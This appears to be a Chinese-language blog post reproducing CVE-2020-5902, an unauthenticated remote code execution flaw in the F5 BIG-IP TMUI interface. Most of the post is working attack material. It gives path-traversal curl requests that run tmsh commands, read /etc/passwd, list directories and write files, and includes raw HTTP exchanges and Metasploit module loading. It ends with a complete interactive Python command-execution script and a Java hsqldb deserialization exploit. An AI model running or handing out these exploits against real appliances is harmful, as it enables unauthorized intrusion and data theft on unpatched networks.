CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞复现

CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞复现

漏洞介绍

F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。
近日,F5官方公布流量管理用户界面(TMUI)使用程序的特定页面中存在一处远程代码执行漏洞(CVE-2020-5902)

影响版本

BIG-IP 15.x: 15.1.0/15.0.0

BIG-IP 14.x: 14.1.0 ~ 14.1.2

BIG-IP 13.x: 13.1.0 ~ 13.1.3

BIG-IP 12.x: 12.1.0 ~ 12.1.5

BIG-IP 11.x: 11.6.1 ~ 11.6.5

img

poc

https://twitter.com/x4ce/status/1279790599793545216

RCE:

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Read File:

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A5AC072B883CB89A7FC015516ACB793C
Upgrade-Insecure-Requests: 1
DNT: 1
Cache-Control: max-age=0

List File

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/'
GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A5AC072B883CB89A7FC015516ACB793C
Upgrade-Insecure-Requests: 1
DNT: 1
Cache-Control: max-age=0

Upload File

Example: /tmui/locallb/workspace/fileSave.jsp

POST: fileName=/tmp/2333.txt&content=test

POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

fileName=/tmp/2333.txt&content=test



HTTP/1.1 200 OK
Date: Wed, 08 Jul 2020 12:06:04 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Set-Cookie: JSESSIONID=F4430C6A7479E77F59DF6CE710C8BF3D; Path=/tmui; Secure; HttpOnly
Content-Type: text/html; charset=ISO-8859-1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'  'unsafe-inline' 'unsafe-eval'; img-src 'self'  http://127.4.1.1 http://127.4.2.1
Vary: Accept-Encoding
Content-Length: 4
Connection: close

File Read /tmp/2333.txt

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/2333.txt HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 2



HTTP/1.1 200 OK
Date: Wed, 08 Jul 2020 12:11:29 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Set-Cookie: JSESSIONID=3FDC814B93AE8F030236DAE60E67F47E; Path=/tmui; Secure; HttpOnly
Content-Type: text/html; charset=ISO-8859-1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'  'unsafe-inline' 'unsafe-eval'; img-src 'self'  http://127.4.1.1 http://127.4.2.1
Vary: Accept-Encoding
Content-Length: 27
Connection: close

{"output":"test\n\n\n"}

MSF f5_bigip_tmui_rce

https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb

msf use

wget -P /usr/share/metasploit-framework/modules/exploits/linux/http/ https://raw.githubusercontent.com/rapid7/metasploit-framework/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb

reload_all

exploit/linux/http/f5_bigip_tmui_rce            2020-06-30       excellent  Yes    F5 BIG-IP TM
root@kali:~/Desktop# msfdb init && msfconsole -q
[i] Database already started
[i] The database appears to be already configured, skipping initialization
msf5 > reload_all
[*] Reloading modules from all module paths...

                 _---------.                                                                         
             .' #######   ;."                                                                        
  .---,.    ;@             @@`;   .---,..                                                            
." @@@@@'.,'@@            @@@@@',.'@@@@ ".                                                           
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;                                                           
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'                                                           
     "--'.@@@  -.@        @ ,'-   .'--"                                                              
          ".@' ; @       @ `.  ;'                                                                    
            |@@@@ @@@     @    .                                                                     
             ' @@@ @@   @@    ,                                                                      
              `.@@@@    @@   .                                                                       
                ',@@     @   ;           _____________                                               
                 (   3 C    )     /|___ / Metasploit! \                                              
                 ;@'. __*__,."    \|--- \_____________/                                              
                  '(.,...."/                                                                         


       =[ metasploit v5.0.95-dev                          ]
+ -- --=[ 2040 exploits - 1103 auxiliary - 344 post       ]
+ -- --=[ 566 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: View advanced module options with advanced

msf5 > search f5_bigip

Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  auxiliary/dos/http/f5_bigip_apm_max_sessions                     normal     No     F5 BigIP Access Policy Manager Session Exhaustion Denial of Service
   1  auxiliary/gather/f5_bigip_cookie_disclosure                      normal     No     F5 BigIP Backend Cookie Disclosure
   2  auxiliary/scanner/http/f5_bigip_virtual_server                   normal     No     F5 BigIP HTTP Virtual Server Scanner
   3  exploit/linux/http/f5_bigip_tmui_rce            2020-06-30       excellent  Yes    F5 BIG-IP TMUI Directory Traversal and File Upload RCE
   4  exploit/linux/ssh/f5_bigip_known_privkey        2012-06-11       excellent  No     F5 BIG-IP SSH Private Key Exposure

nmap脚本
https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse

tmshCmd.jsp + fileSave.jsp = Linux RCE

1. tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
2. fileSave.jsp?fileName=/tmp/cmd&content=id
3. tmshCmd.jsp?command=list+/tmp/cmd
4. tmshCmd.jsp?command=delete+cli+alias+private+list

原文地址:

https://twitter.com/x4ce/status/1279790599793545216

img

通过bash执行命令

#coding:utf-8
import requests
import json
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import uuid
import sys

# tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
# fileSave.jsp?fileName=/tmp/cmd&content=id
# tmshCmd.jsp?command=list+/tmp/cmd
# tmshCmd.jsp?command=delete+cli+alias+private+list

banner = r'''
 _______  _______    ______  _________ _______   _________ _______    _______  _______  _______
(  ____ \(  ____ \  (  ___ \ \__   __/(  ____ \  \__   __/(  ____ )  (  ____ )(  ____ \(  ____ \
| (    \/| (    \/  | (   ) )   ) (   | (    \/     ) (   | (    )|  | (    )|| (    \/| (    \/
| (__    | (____    | (__/ /    | |   | |           | |   | (____)|  | (____)|| |      | (__
|  __)   (_____ \   |  __ (     | |   | | ____      | |   |  _____)  |     __)| |      |  __)
| (            ) )  | (  \ \    | |   | | \_  )     | |   | (        | (\ (   | |      | (
| )      /\____) )  | )___) )___) (___| (___) |  ___) (___| )        | ) \ \__| (____/\| (____/\
|/       \______/   |/ \___/ \_______/(_______)  \_______/|/         |/   \__/(_______/(_______/
                                                                                                
                        CVE-2020-5902 UnAuth RCE Vuln
                            Python By Jas502n
From: https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb
____________________________________________________________________________________________________________________________________________________
'''

def tmshCmd_exit(url,file,cmd):
    tmshCmd_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash"
    proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
    r = requests.get(tmshCmd_url,verify=False,allow_redirects=False)
    # r = requests.get(tmshCmd_url,verify=False,allow_redirects=False,proxies=proxies)

    response_str = json.dumps(r.headers.__dict__['_store'])
    # print type(response_str)
    # print response_str
    if r.status_code == 200 and 'tmui' in response_str:
        # print tmshCmd_url
        print "[+] tmshCmd.jsp Exit!"
        print "[+] create cli alias private list command bash \n"
        # cmd = 'whoami'
        upload_exit(url,file,cmd)


    else:
        print "[+] tmshCmd.jsp No Exit!\n"

def upload_exit(url,file,cmd):
    fileSave_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/%s&content="%file + cmd
    proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
    r = requests.get(fileSave_url,verify=False,allow_redirects=False)
    # r = requests.get(fileSave_url,verify=False,allow_redirects=False,proxies=proxies)
    response_str = json.dumps(r.headers.__dict__['_store'])
    if r.status_code == 200 and 'tmui' in response_str:
        # print fileSave_url
        print "[+] fileSave.jsp Exit!\n"
        list_command(url,file)
    else:
        print "[+] fileSave.jsp No Exit!\n"

def list_command(url,file):
    rce_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/%s" % file
    proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
    r = requests.get(rce_url,verify=False,allow_redirects=False)
    # r = requests.get(rce_url,verify=False,allow_redirects=False,proxies=proxies)
    response_str = json.dumps(r.headers.__dict__['_store'])
    # print len(r.content)
    if r.status_code == 200 and 'tmui' in response_str:
        if len(r.content) > 33:
            # print rce_url
            print "[+] Command Successfull !\n"
            command_result = json.loads(r.content)
            print "_"*90,'\n\n'
            print command_result['output']
            print "_"*90,"\n\n"
            delete_list(url)
    else:
        print "[+] Command Failed !\n"

def delete_list(url):
    delete_url = url + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list'
    proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
    r = requests.get(delete_url,verify=False,allow_redirects=False)
    # r = requests.get(delete_url,verify=False,allow_redirects=False,proxies=proxies)
    response_str = json.dumps(r.headers.__dict__['_store'])
    if r.status_code == 200 and 'tmui' in response_str:
        # print delete_url
        print "[+] delete cli alias private list Successfull! \n"
    else:
        print "[+] delete cli alias private list Failed! \n"


if __name__ == '__main__':
    print banner
    while 1:
        url = "https://x.x.x.x/"
        # url = sys.argv[1]
        file = str(uuid.uuid1())
        print "/tmp/" + file,"\n"
        cmd = raw_input("[+]Set Cmd= ")
        print
        tmshCmd_exit(url,file,cmd)

通过java反序列化执行命令

/*
 Exploit Title: F5 BIG-IP Remote Code Execution
 Date: 2020-07-06
 Authors: Charles Dardaman of Critical Start, TeamARES
                  Rich Mirch of Critical Start, TeamARES
 CVE: CVE-2020-5902
 Requirements:
   Java JDK
   hsqldb.jar 1.8
   ysoserial https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
*/

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.IOException;
import org.hsqldb.lib.StringConverter;

public class f5RCE {

	public static void main(String[] args) {
		Connection connection;
		Statement statement;

		if(args.length != 2) {
			System.err.println("\nUsage: <hostname> <payload.txt>\n");
			System.exit(1);
		}
		String server = args[0];
		String pfile = args[1];
		String payload = null;

		try {
			payload = new String(Files.readAllBytes(Paths.get(pfile)));
			payload = payload.replaceAll("(\\n|\\r)","");
		} catch (IOException e) {
			e.printStackTrace();
		}

		String dburl = "jdbc:hsqldb:https://" + server +
                               ":443/tmui/login.jsp/..%3b/hsqldb/";

		System.out.println("Connecting to " + server);
		try {
			Class.forName("org.hsqldb.jdbcDriver");
			connection = DriverManager.getConnection(dburl, "sa","");
			statement = connection.createStatement();
			statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
			statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload +"');");
		} catch (java.sql.SQLException sqle) {
			// ignore java.sql.SQLException: S1000
			// General error java.lang.IllegalArgumentException: argument type mismatch
			if(sqle.getSQLState().equals("S1000") && sqle.getErrorCode() == 40) {
				System.out.println("Payload executed");
			} else {
				System.out.println("Unexpected SQL error");
				sqle.printStackTrace();
			}
			return;
		}
		catch (ClassNotFoundException cne) {
			System.err.println("Error loading db driver");
			cne.printStackTrace();
			return;
		}
	}
}

参考链接

1、https://twitter.com/x4ce/status/1279790599793545216

2、https://github.com/jas502n/CVE-2020-5902/

3、https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902

posted @ 2020-07-08 22:24  micr067  阅读(827)  评论(0编辑  收藏  举报